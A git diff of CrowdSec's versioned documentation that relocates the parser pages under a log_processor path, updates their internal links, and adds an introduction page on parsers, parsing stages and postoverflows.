[documentation](log_processor/alert_context/intro.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/create.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/create.md similarity index 95% rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/create.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/create.md index 52d168f0e..453cce2d6 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/create.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/create.md @@ -113,10 +113,10 @@ statics: value: yes ``` -- a [filter](/parsers/format.md#filter) : if the expression is `true`, the event will enter the parser, otherwise, it won't -- a [onsuccess](/parsers/format.md#onsuccess) : defines what happens when the event was successfully parsed : shall we continue ? shall we move to next stage ? etc. +- a [filter](/log_processor/parsers/format.md#filter) : if the expression is `true`, the event will enter the parser, otherwise, it won't +- a [onsuccess](/log_processor/parsers/format.md#onsuccess) : defines what happens when the event was successfully parsed : shall we continue ? shall we move to next stage ? etc. - a `name` & a `description` -- some [statics](/parsers/format.md#statics) that will modify the event +- some [statics](/log_processor/parsers/format.md#statics) that will modify the event - a `debug` flag that allows to enable local debugging information - a `grok` pattern to capture some data in logs @@ -223,7 +223,7 @@ Various changes have been made here : - We created to patterns to capture the two relevant type of log lines, Using an [online grok debugger](https://grokdebug.herokuapp.com/) or an [online regex debugger](https://www.debuggex.com/) [2] ) - We keep track of the username and the source_ip (Please note that setting the source_ip in `evt.Meta.source_ip` and `evt.Parsed.source_ip` is important [1]) -- We setup various [statics](/parsers/format.md#statics) information to classify the log type [3] +- We setup various [statics](/log_processor/parsers/format.md#statics) information to classify the log type [3] Let's run out tests again : @@ -289,7 +289,7 @@ line: Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 't We have now a fully functional parser for myservice logs ! We can either deploy it to our production systems to do stuff, or even better, contribute to the hub ! -If you want to know more about directives and possibilities, take a look at [the parser reference documentation](/parsers/format.md) ! +If you want to know more about directives and possibilities, take a look at [the parser reference documentation](/log_processor/parsers/format.md) ! See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic. diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/enricher.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/enricher.md similarity index 90% rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/enricher.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/enricher.md index 7ae6e3aa8..f9d433212 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/enricher.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/enricher.md @@ -7,7 +7,7 @@ sidebar_position: 4 # Enrichers -Enrichers are [parsers](/parsers/introduction.mdx) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` [stage](/parsers/introduction.mdx#stages) (after most of the parsing happened). +Enrichers are [parsers](/log_processor/parsers/introduction.mdx) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` [stage](/log_processor/parsers/introduction.mdx#stages) (after most of the parsing happened). Enrichers functions should all accept a string as a parameter, and return an associative string array, that will be automatically merged into the `Enriched` map of the [`Event`](/expr/event.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/format.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/format.md similarity index 98% rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/format.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/format.md index a38c25b84..f81ace5e5 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/format.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/format.md @@ -28,7 +28,7 @@ statics: expression: "evt.Parsed.src_ip" ``` -The parser nodes are processed sequentially based on the alphabetical order of [stages](/parsers/introduction.mdx#stages) and subsequent files. +The parser nodes are processed sequentially based on the alphabetical order of [stages](/log_processor/parsers/introduction.mdx#stages) and subsequent files. If the node is considered successful (grok is present and returned data or no grok is present) and "onsuccess" equals to `next_stage`, then the event is moved to the next stage. ## Parser trees @@ -511,4 +511,4 @@ A parser is considered "successful" if : ### Patterns documentation -You can find [exhaustive patterns documentation here](/parsers/patterns-documentation.md). +You can find [exhaustive patterns documentation here](/log_processor/parsers/patterns-documentation.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/introduction.mdx new file mode 100644 index 000000000..46abea8bd --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/introduction.mdx @@ -0,0 +1,86 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +import useBaseUrl from '@docusaurus/useBaseUrl'; + + +## Parser + + +A parser is a YAML configuration file that describes how a string must be parsed. Said string can be a log line, or a field extracted from a previous parser. + +While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also use [expressions](/expr/intro.md) to perform parsing on specific data (ie. json), [refer to external methods for enrichment](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or even [perform whitelisting](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists.md). + +The [event](/expr/event.md) enters the parser, and might exit successfully or not: + + +
+
+
+
+## Stages
+
+Parsers are organized into stages to allow pipelines and branching in parsing. An event can go to the next stage if at least one parser in the given stage parsed it successfully while having `onsuccess` set to `next_stage`. Otherwise, the event is considered unparsed and will exit the pipeline (and be discarded):
+
+
+
+
+
+
+
+
+The parsing pipeline is broken down into multiple stages:
+
+- `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on.
+- `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](log_processor/scenarios/introduction.mdx).
+- `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc.
+
+### `s00-raw`
+
+This stage is responsible for normalizing logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on.
+
+For example if you have a `syslog` Data Source and a `container` Data Source writing the same application log lines you wouldnt want `s01-parse` to handle this logic twice, since `s00-raw` can normalize the logs into a predictable format.
+
+For most instances we have already created these `s00-raw` parsers for you are available to view on the [Hub](https://hub.crowdsec.net/).
+
+### `s01-parse`
+
+The stage is responsible for extracting relevant information from the normalized logs based on the application type.
+
+The application type is defined in different ways based on the Data Source. Please refer to the [Data Sources](log_processor/data_sources/introduction.md) documentation for more information.
+
+We list all available applications we support on the [Hub](https://hub.crowdsec.net/) and within the readme of the collection our users provide an example Acquisition configuration.
+
+### `s02-enrich`
+
+The aim of this stage is to enrich the extracted information with additional context such as GEOIP, ASN etc.
+
+However, the stage can also be used to perform whitelist checks, however, we have dedicated documentation for this [here](log_processor/whitelist/introduction.md).
+
+Currently we have a few enrichers available on the [Hub](https://hub.crowdsec.net/), that are installed by default so you dont need to worry about this stage unless you want to create your own.
+
+## Postoverflows
+
+Once a scenario overflows, the resulting event is going to be processed by a distinct set of parsers, called "postoverflows".
+
+Those parsers are located in `/etc/crowdsec/postoverflows/` and typically contain additional whitelists, a [common example is to whitelist decisions coming from some specific FQDN](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors).
+
+Usually, those parsers should be kept for "expensive" parsers that might rely on external services.
+
+----
+
+
+
+See the [Hub](https://app.crowdsec.net/hub/configurations) to explore parsers, or see below some examples:
+
+ - [apache2 access/error log parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/apache2-logs)
+ - [iptables logs parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/iptables-logs)
+ - [http logs post-processing](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/http-logs)
+
+The parsers usually reside in `/etc/crowdsec/parsers/
+
+
+
+